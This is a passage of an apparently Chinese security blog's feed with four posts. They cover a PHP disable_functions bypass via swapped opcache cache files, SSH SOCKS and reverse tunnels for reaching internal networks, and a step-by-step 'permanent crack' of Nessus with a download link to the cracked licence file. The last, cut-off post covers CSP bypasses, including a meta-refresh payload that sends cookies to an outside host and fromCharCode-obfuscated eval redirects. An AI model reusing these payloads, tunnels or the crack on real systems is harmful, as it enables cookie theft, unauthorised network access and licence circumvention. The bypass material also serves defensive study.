class="line">zend_extension=/usr/lib/php/20151012/opcache.so</span><br><span class="line">opcache.enable=1</span><br><span class="line">opcache.enable_cli=1</span><br><span class="line">opcache.memory_consumption=528</span><br><span class="line">opcache.interned_strings_buffer=8</span><br><span class="line">opcache.max_accelerated_files=10000</span><br><span class="line">opcache.revalidate_freq=1</span><br><span class="line">opcache.fast_shutdown=1</span><br><span class="line">opcache.validate_timestamps=0</span><br><span class="line">opcache.file_cache=/tmp</span><br></pre></td></tr></table></figure><p>其中的 opcache.file_cache 则是指定缓存目录，比如设置 /tmp，运行 /var/www/html/ 下的 index.php 则会生成相应的 /tmp/[system_id]/var/www/html/index.php.bin 文件</p><p>system_id 是当前 PHP 版本号，Zend 扩展版本号以及各个数据类型大小的 MD5 值</p><p>在另一个环境下利用 opcache 得到一个包含恶意代码的缓存文件，更改其文件头后面的 system_id 为要替换的缓存文件的 system_id，只需更改 system_id，文件 16 进制中的 php 文件目录即使不同也无需更改</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis19.png" alt></p><p>替换相应缓存目录下的缓存文件，再次运行查看运行结果</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/disable_functions-bypass.assets/dis18.png" alt></p><h2 id="Reference："><a href="#Reference：" class="headerlink" title="Reference："></a>Reference：</h2><p><a href="https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/" target="_blank" rel="noopener">https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/</a></p><p><a href="https://www.freebuf.com/articles/web/192052.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/192052.html</a></p><p><a href="https://www.cnblogs.com/leixiao-/p/10612798.html" target="_blank" rel="noopener">https://www.cnblogs.com/leixiao-/p/10612798.html</a></p><p><a href="https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/" target="_blank" rel="noopener">https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;文章首发于安全客：&lt;a href=&quot;https://www.anquanke.com/post/id/197745&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.anquanke.com/post/id/197745&lt;/a&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="PHP" scheme="http://j0k3r.top/tags/PHP/"/>
    
      <category term="disable_functions" scheme="http://j0k3r.top/tags/disable-functions/"/>
    
  </entry>
  
  <entry>
    <title>使用 SSH 建立 socks 代理进行内网穿透</title>
    <link href="http://j0k3r.top/2020/01/08/ssh-proxy/"/>
    <id>http://j0k3r.top/2020/01/08/ssh-proxy/</id>
    <published>2020-01-07T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:06.722Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h2><blockquote><p> SSH (Secure Shell) 是一种加密网络协议，用于在不安全的网络上安全地运行网络服务。</p></blockquote><blockquote><p>OpenSSH 是用于使用 SSH 协议进行远程登录的主要连接工具。对所有流量进行加密，此外，OpenSSH 还提供了一整套安全的隧道功能，多种身份验证方法以及复杂的配置选项。</p></blockquote><p>在一般的 Linux 机器中默认都会装有 OpenSSH，那么在偶尔需要建立代理访问内部网络的时候，抛弃一些其它代理程序的繁琐配置，使用 ssh 不失为一种方便快捷的办法</p><p>OpenSSH 命令手册： <a href="https://man.openbsd.org/ssh" target="_blank" rel="noopener">ssh(1) - OpenBSD manual pages</a></p><h2 id="0x02-准备"><a href="#0x02-准备" class="headerlink" title="0x02 准备"></a>0x02 准备</h2><p>ssh 配置文件 /etc/ssh/sshd_config 中默认没有 GatewayPorts 这一项或者值为 no</p><p><a href="https://man.openbsd.org/sshd_config.5#GatewayPorts" target="_blank" rel="noopener"><code>GatewayPorts</code></a> 用于指定是否允许远程主机连接到为客户端转发的端口，参数为 no 强制远程端口转发仅对本地主机可用，即将远程端口转发绑定到环回地址，防止其他远程主机连接，yes 强制强制远程端口转发绑定到通配符地址，或者指定的其他地址</p><p>根据情况进行合理配置，比如要在公网做转发的时候就需要配置 GatewayPorts yes</p><p><strong>sshd_config</strong> 配置参数手册：<a href="https://man.openbsd.org/sshd_config.5" target="_blank" rel="noopener"><strong>sshd_config —— OpenSSH daemon configuration file</strong></a></p><h2 id="0x03-转发"><a href="#0x03-转发" class="headerlink" title="0x03 转发"></a>0x03 转发</h2><p>在本地使用 Docker 模拟搭建一个简易的网络环境</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ssh-proxy.assets/image-20200203005152618.png" alt="image-20200203005152618"></p><p>如图，都是在内网中的机器，只不过网段不同，使用 ssh 建立代理来访问不同层次的网络</p><p>下面先简单介绍用到的命令参数：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">-p port 连接到远程主机上的端口</span><br><span class="line">-N 不执行远程命令。对于仅转发端口很有用</span><br><span class="line">-f 将 ssh 命令放在后台</span><br><span class="line">-n 从 /dev/null 重定向标准输入（实际上，防止从标准输入读取),在后台运行ssh时必须使用此选项</span><br><span class="line">-q 安静模式。阻止大多数警告和诊断消息。</span><br><span class="line">-g 允许远程主机连接到本地转发的端口</span><br><span class="line">-T 禁用伪终端分配</span><br><span class="line">-p [port] 要连接到远程主机上的端口</span><br><span class="line">-D [bind_address:]port 指定本地“动态”应用程序级端口转发</span><br><span class="line">-R [bind_address:]port:host:hostport 指定与远程（服务器）主机上给定的TCP端口或Unix套接字的连接将转发到本地</span><br></pre></td></tr></table></figure><h3 id="应用场景-一-Host-1-访问-192-168-1-0-24-网络"><a href="#应用场景-一-Host-1-访问-192-168-1-0-24-网络" class="headerlink" title="应用场景 一. Host 1 访问 192.168.1.0/24 网络"></a>应用场景 一. Host 1 访问 192.168.1.0/24 网络</h3><p>图中的 Host 1 有且只有一个 ip，处于 172.16.1.0/24 网络中，能直接访问的主机只有 Host 2</p><p>在 Host 1 使用 ssh 建立一个 socks 代理服务器即可，使用 <code>-D</code></p><p><code>-D</code> 参数是比较关键的一个，建立代理就靠它了，通过分配一个套接字来侦听本地端的端口，每当与此端口建立连接时，该连接都会通过安全通道转发，充当 SOCKS 服务器，支持 SOCKS4 和 SOCKS5 协议</p><blockquote><p>只有root可以转发特权端口（端口号小于 1024 的端口），动态端口转发也可以在配置文件中指定。</p></blockquote><p>Host 1 执行命令:</p><p><code>ssh -fnqgNTD [host 1 port ] -p 22 [host 2 username]@[host 2 ip]</code></p><p>该场景下使用：<code>ssh -fnqgNTD 7777 -p 22 j0k3r@172.16.1.3</code></p><p>Host 1 给当前终端设置 socks 5 代理：<code>export ALL_PROXY=socks5://127.0.0.1:10808</code></p><p>访问 192.168.1.0/24 网络验证一下</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ssh-proxy.assets/image-20200204000948914.png" alt="image-20200204000948914"></p><p> Host 1 发送的网络数据通过 socks 代理和 ssh 连接发送到了 Host 2，于是就能访问 Host 3 的服务了</p><h3 id="引用场景-二-Host-1-访问-10-1-1-0-24-网络"><a href="#引用场景-二-Host-1-访问-10-1-1-0-24-网络" class="headerlink" title="引用场景 二. Host 1 访问 10.1.1.0/24 网络"></a>引用场景 二. Host 1 访问 10.1.1.0/24 网络</h3><p>上图可以看出 Host 2 和 Host 3 同处于 192.168.1.0/24 网络，但是只有 Host 3 还可以访问 10.1.1.0/24，而 Host 1 更是不能直接访问 Host 3，这个时候相对于场景一只需要在中间让 Host 2 把 Host 3 的 22 端口转发给 Host 1 就行了，最终使用场景一中的方法开启代理即可 </p><p>需要用到 ssh <strong>反向代理</strong>，使用 <code>-R</code></p><p><code>-R</code> 参数是转发的关键参数, 指定与远程（服务器）主机上给定的TCP端口或Unix套接字的连接将转发到本地</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-R [bind_address:]port:host:hostport</span><br><span class="line">-R [bind_address:]port:local_socket</span><br><span class="line">-R remote_socket:host:hostport</span><br><span class="line">-R remote_socket:local_socket</span><br><span class="line">-R [bind_address:]port</span><br></pre></td></tr></table></figure><p>举个例子</p><p>Host 2:  <code>ssh -fnqgNTR [host 1 port]:[host 3]:[host 3 port]  -p 22 [host 1 username]@[host 1 ip]</code></p><p>该命令会将 host 3 的 port 转发到 host 1 的 port</p><p>该场景下命令为：<code>ssh -fnqgNTR 6666:192.168.1.3:9090  -p 22 j0k3r@172.16.1.2</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ssh-proxy.assets/image-20200204003159932.png" alt="image-20200204003159932"></p><p>此时 host 1 可以通过访问本地 6666 端口直接访问 host 3 的 9090 端口上的服务</p><p>同理，转发 host 3 的 ssh 端口，再建立代理</p><p>该场景下命令为：</p><p>Host 2: <code>ssh -fngqNTR 7777:192.168.1.3:22 -p 22 j0k3r@172.16.1.2</code></p><p>Host 1: <code>ssh -fngqNTD 6767 -p 7777 j0k3r@127.0.0.1</code>, <code>export ALL_PROXY=socks5://127.0.0.1:6767</code></p><p>此时 host 1 可以通过代理直接访问 host 4</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ssh-proxy.assets/image-20200204023545869.png" alt="image-20200204023545869"></p><h3 id="其他场景"><a href="#其他场景" class="headerlink" title="其他场景"></a>其他场景</h3><h4 id="（1）反向代理穿透内网，外网访问"><a href="#（1）反向代理穿透内网，外网访问" class="headerlink" title="（1）反向代理穿透内网，外网访问"></a>（1）反向代理穿透内网，外网访问</h4><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/ssh-proxy.assets/image-20200204024355249.png" alt="image-20200204024355249"></p><h4 id="（2）正向代理"><a href="#（2）正向代理" class="headerlink" title="（2）正向代理"></a>（2）正向代理</h4><p>使用 <code>-L</code></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="代理" scheme="http://j0k3r.top/tags/%E4%BB%A3%E7%90%86/"/>
    
      <category term="SSH" scheme="http://j0k3r.top/tags/SSH/"/>
    
  </entry>
  
  <entry>
    <title>Nessus v8.x 永久破解方法</title>
    <link href="http://j0k3r.top/2020/01/05/nessus-crack/"/>
    <id>http://j0k3r.top/2020/01/05/nessus-crack/</id>
    <published>2020-01-04T16:00:00.000Z</published>
    <updated>2020-03-26T10:18:42.762Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><blockquote><p>Nessus 作为一款出色的漏洞扫描工具，有时候还是有奇效的 ：），之前用的免费版，对扫描数量有 16 个 ip 的限制，着实不太友好，macOS 下破解有少许差别，于是对破解过程进行简单记录</p></blockquote><p>系统环境：macOS 10.14.6</p><h2 id="0x01-破解方法"><a href="#0x01-破解方法" class="headerlink" title="0x01 破解方法"></a>0x01 破解方法</h2><h3 id="1-安装-Nessus"><a href="#1-安装-Nessus" class="headerlink" title="1. 安装 Nessus"></a>1. 安装 Nessus</h3><p>直接到 Nessus 官网：<a href="https://www.tenable.com/downloads/nessus" target="_blank" rel="noopener">https://www.tenable.com/downloads/nessus</a> 下载对应系统版本的 Nessus，基本上主流平台都有</p><p>在 macOS 下，安装成功后的 Nessus 目录位于 <code>/Library/Nessus/</code></p><p>Nessus 默认地址为：<a href="https://127.0.0.1:8834/" target="_blank" rel="noopener">https://127.0.0.1:8834/</a></p><p>安装完毕会自动打开浏览器，注意⚠️要选择 Managed Scanner 这项，然后在 Manageed by 下拉选择 Tenable.sc    ，Continue 即可，最后输入用户名和密码就 OK</p><h3 id="2-使用离线包安装更新"><a href="#2-使用离线包安装更新" class="headerlink" title="2. 使用离线包安装更新"></a>2. 使用离线包安装更新</h3><p>获取激活码</p><p><a href="https://zh-cn.tenable.com/products/nessus/activation-code?tns_redirect=true#nessus" target="_blank" rel="noopener">https://zh-cn.tenable.com/products/nessus/activation-code?tns_redirect=true#nessus</a></p><p>如果选择 Nessus Essentials 也就是免费版会来到一个注册界面</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/uetf9h2cxOUEbq8.jpg" alt></p><p>注册后邮箱会收到一个激活码</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/GbwNTYC7lXpR6F4.jpg" alt></p><p>然后访问 <a href="https://plugins.nessus.org/offline.php" target="_blank" rel="noopener">https://plugins.nessus.org/offline.php</a> 以下载获取 all-2.0.tar.gz 和  nessus-fetch.rc 文件</p><p>但是要先输入 challenge code 和 激活码</p><p>获取 challenge code，到 <code>/Library/Nessus/run/sbin</code> 使用命令行工具</p><p><code>nessuscli fetch --challeng</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/VnRr2KHA8suTZ6x.jpg" alt></p><p>到页面输入相应内容</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/QXmLlWsyu5Eh2RY.jpg" alt></p><p>得到两个文件链接，下载即可（ all-2.0.tar.gz 比较慢，要有耐心</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/OQ3JVB4o9PZSn7T.jpg" alt></p><p>下载完上面里那个文件就可以离线更新插件了</p><p><code>sudo ./nessuscli update ~/Downloads/all-2.0.tar.gz</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/sPRqGtZHCTuFa9n.jpg" alt></p><p>别忘了复制下载好的 nessus-fetch.rc 到 <code>/Library/Nessus/run/etc/nessus/nessus-fetch.rc</code></p><h3 id="3-替换文件"><a href="#3-替换文件" class="headerlink" title="3. 替换文件"></a>3. 替换文件</h3><p>以上步骤完成后要重启 Nessus，等待一会直到初始化成功</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/lPiKn5gfLrXSYO2.jpg" alt></p><p>将 plugin_feed_info.inc 文件替换到本地</p><p>共需替换两处：</p><ol><li><code>/Library/Nessus/run/var/nessus</code> 目录下</li></ol><ol start="2"><li><code>/Library/Nessus/run/lib/nessus/plugins</code> 目录下</li></ol><p>没有 plugin_feed_info.inc 也没关系，直接复制过去就好</p><p>最好改成一样的用户，组和权限</p><p><code>sudo chown root:admin ./plugin_feed_info.inc &amp;&amp; sudo chmod 644 ./plugin_feed_info.inc</code></p><p>最后重启 Nessus，等待初始化完成，登陆查看</p><p>许可已经变成了无限♾</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/pGOEIhlTJVc9WBx.jpg" alt></p><p>扫描终于没有了 16 个 ip 的限制</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/nessus-crack.assets/P6KSWmJhEQRiBkH.jpg" alt></p><hr><p>分享一个 plugin_feed_info.inc 文件</p><p>链接:<a href="https://pan.baidu.com/s/1o4EQvnbTGkGSxWJzThNInA" target="_blank" rel="noopener">https://pan.baidu.com/s/1o4EQvnbTGkGSxWJzThNInA</a>  </p><p>密码:nwdc</p><hr><p>Reference：</p><p><a href="https://mp.weixin.qq.com/s/jpOnANV1_l-xMfN6wVLrbQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/jpOnANV1_l-xMfN6wVLrbQ</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="工具" scheme="http://j0k3r.top/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>前端安全之 CSP 及其常见绕过</title>
    <link href="http://j0k3r.top/2019/11/19/csp-bypass/"/>
    <id>http://j0k3r.top/2019/11/19/csp-bypass/</id>
    <published>2019-11-18T16:00:00.000Z</published>
    <updated>2020-03-26T10:18:48.372Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><h2 id="0x01-CSP-内容安全策略"><a href="#0x01-CSP-内容安全策略" class="headerlink" title="0x01 CSP (内容安全策略)"></a>0x01 CSP (内容安全策略)</h2><h3 id="1-CSP-是什么？"><a href="#1-CSP-是什么？" class="headerlink" title="1. CSP 是什么？"></a>1. CSP 是什么？</h3><blockquote><p>内容安全策略  (CSP) 是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件，这些攻击都是主要的手段。</p></blockquote><p>使用 CSP 的主要目的就是通过指定<strong>有效域</strong>防御 XSS 这类的攻击</p><h3 id="2-使用-CSP"><a href="#2-使用-CSP" class="headerlink" title="2. 使用 CSP"></a>2. 使用 CSP</h3><ol><li>使用 <code>Content-Security-Policy</code> HTTP 头 </li></ol><ol start="2"><li>html 标签</li></ol><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"Content-Security-Policy"</span> <span class="attr">content</span>=<span class="string">"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>CSP 限制类型</p><p>常见：</p><p><code>default-src</code> 能够设置其他指令的值，其他指令为下面这几个</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">child-src//框架</span><br><span class="line">connect-src//HTTP 连接（通过 XHR、WebSockets、EventSource等）</span><br><span class="line">font-src//字体文件</span><br><span class="line">frame-src//&lt;frame&gt; 和 &lt;iframe&gt;</span><br><span class="line">img-src//图像</span><br><span class="line">manifest-src//manifest 文件</span><br><span class="line">media-src//媒体文件（音频和视频）</span><br><span class="line">object-src//插件（比如 Flash）</span><br><span class="line">prefetch-src//prefetch 和 prerender</span><br><span class="line">script-src//外部脚本</span><br><span class="line">script-src-elem//指定&lt;script&gt;有效来源，但未指定内嵌脚本事件处理程序（如onclick）</span><br><span class="line"></span><br><span class="line">script-src-attr//和 script-src-elem 相反</span><br><span class="line">style-src//样式表</span><br><span class="line">style-src-elem//指定 rel=&quot;stylesheet&quot; 样式的 &lt;style&gt; 和 &lt;link&gt;</span><br><span class="line">style-src-attr//指定单个DOM元素的内联样式有效来源</span><br><span class="line">worker-src//worker脚本</span><br></pre></td></tr></table></figure><p>其他：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">base-uri</span><br><span class="line">block-all-mixed-content//HTTPS 网页不得加载 HTTP 资源（浏览器已经默认开启）</span><br><span class="line">default-src</span><br><span class="line">form-action</span><br><span class="line">frame-ancestors</span><br><span class="line">navigate-to</span><br><span class="line">plugin-types//限制可以使用的插件格式</span><br><span class="line">referrer</span><br><span class="line">report-to</span><br><span class="line">report-uri</span><br><span class="line">require-sri-for</span><br><span class="line">sandbox//浏览器行为的限制，比如不能有弹出窗口等</span><br><span class="line">script-src-elem</span><br><span class="line">style-src-elem</span><br><span class="line">trusted-types</span><br><span class="line">upgrade-insecure-requests//自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议</span><br></pre></td></tr></table></figure><p>常见选项值：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">主机名：example.org，https://example.com:443</span><br><span class="line">路径名：example.org/resources/js/</span><br><span class="line">通配符：*.example.org，*://*.example.com:*（表示任意协议、任意子域名、任意端口）</span><br><span class="line">协议名：https:、data:</span><br><span class="line">关键字&apos;self&apos;：当前域名，需要加引号</span><br><span class="line">关键字&apos;none&apos;：禁止加载任何外部资源，需要加引号</span><br></pre></td></tr></table></figure><p>多个值可以并列，用空格分隔</p><p>外部脚本只能从 <a href="https://example.com" target="_blank" rel="noopener">https://example.com</a> 域中加载，而 default-src 则限制其他资源只从自身加载</p><p><code>script-src</code> 的特殊值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&apos;unsafe-inline&apos;：允许执行页面内嵌的&lt;script&gt;标签和事件监听函数</span><br><span class="line">unsafe-eval：允许将字符串当作代码执行，比如使用eval、setTimeout、setInterval和Function等函数。</span><br><span class="line">nonce值：每次HTTP回应给出一个授权token，页面内嵌脚本必须有这个token，才会执行</span><br><span class="line">hash值：列出允许执行的脚本代码的Hash值，页面内嵌脚本的哈希值只有吻合的情况下，才能执行。</span><br></pre></td></tr></table></figure><p>如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: default-src &apos;self&apos;; script-src https://example.com</span><br><span class="line"></span><br><span class="line">执行有 token 的脚本</span><br><span class="line">&lt;script nonce=EDNnf03nceIOfn39fn3e9h3sdfa&gt;</span><br><span class="line">  // some code</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Content-Security-Policy: script-src &apos;sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng=&apos;</span><br><span class="line"></span><br><span class="line">以下除 &lt;script&gt; 标签外的代码 hash 值等于设置值，所以会执行 </span><br><span class="line">&lt;script&gt;alert(&apos;Hello, world.&apos;);&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>更多参数信息可以到 MDN Docs 查看 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/" target="_blank" rel="noopener">Content-Security-Policy - HTTP | MDN</a></p><h2 id="0x02-CSP-Bypass"><a href="#0x02-CSP-Bypass" class="headerlink" title="0x02 CSP Bypass"></a>0x02 CSP Bypass</h2><h3 id="1-URL-跳转"><a href="#1-URL-跳转" class="headerlink" title="1. URL 跳转"></a>1. URL 跳转</h3><h4 id="default-src-‘none’-时"><a href="#default-src-‘none’-时" class="headerlink" title="default-src ‘none’ 时"></a>default-src ‘none’ 时</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"refresh"</span> <span class="attr">content</span>=<span class="string">"1;url=http://www.xss.com/x.php?c=[cookie]"</span> &gt;</span></span><br></pre></td></tr></table></figure><h4 id="script-src-‘unsafe-inline’-时"><a href="#script-src-‘unsafe-inline’-时" class="headerlink" title="script-src ‘unsafe-inline’ 时"></a>script-src ‘unsafe-inline’ 时</h4><p>一些常用 javascript 重定向跳转方法</p><p>window.location</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.location=<span class="string">"http://eval.php?c=cookie"</span></span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>window.location.href</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span> </span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.location.href=<span class="string">"http://baidu.com"</span>; </span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>window.location.replace</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.location.replace(<span class="string">"http://baidu.com"</span>)</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>window.open // Chrome 和 FireFox 默认会拦截弹出窗口</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="built_in">window</span>.open(<span class="string">"http://baidu.com"</span>)</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>self.location</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span> </span><br><span class="line"><span class="javascript">self.location=<span class="string">'http://baidu.com'</span>; </span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>top.location</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span> </span><br><span class="line"><span class="javascript">top.location=<span class="string">'http://baidu.com'</span>; </span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>有个 window.navigate 只针对 IE，所以不推荐</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript"><span class="built_in">document</span>.location=<span class="string">"http://baidu.com"</span></span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="javascript">location.href=<span class="string">"http://baidu.com"</span></span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p> img、video、audio、iframe、a 等标签的 src 或 href 发起外域请求</p><h4 id="script-src-‘unsafe-eval’-时"><a href="#script-src-‘unsafe-eval’-时" class="headerlink" title="script-src ‘unsafe-eval’ 时"></a>script-src ‘unsafe-eval’ 时</h4><p>使用 eval 函数，结合 fromCharCode 可以 Bypass 一些常见过滤</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">// c = 'document.location="http://baidu.com"'</span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span> </span><br><span class="line"><span class="javascript"><span class="built_in">eval</span>(<span class="built_in">String</span>.fromCharCode(<span class="number">100</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">46</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">99</span>, <span class="number">97</span>, <span class="number">116</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">110</span>, <span class="number">61</span>, <span class="number">34</span>, <span class="number">104</span>, <span class="number">116</span>, <span class="number">116</span>, <span class="number">112</span>, <span class="number">58</span>, <span class="number">47</span>, <span class="number">47</span>, <span class="number">98</span>, <span class="number">97</span>, <span class="number">105</span>, <span class="number">100</span>, <span class="number">117</span>, <span class="number">46</span>, <span class="number">99</span>, <span class="number">111</span>, <span class="number">109</span>, <span class="number">34</span>))</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="标签预加载"><a href="#标签预加载" class="headerlink" title="标签预加载"></a>标签预加载</h3><h4 id="1-dns-prefetch"><a href="#1-dns-prefetch" class="headerlink" title="1. dns-prefetch"></a>1. 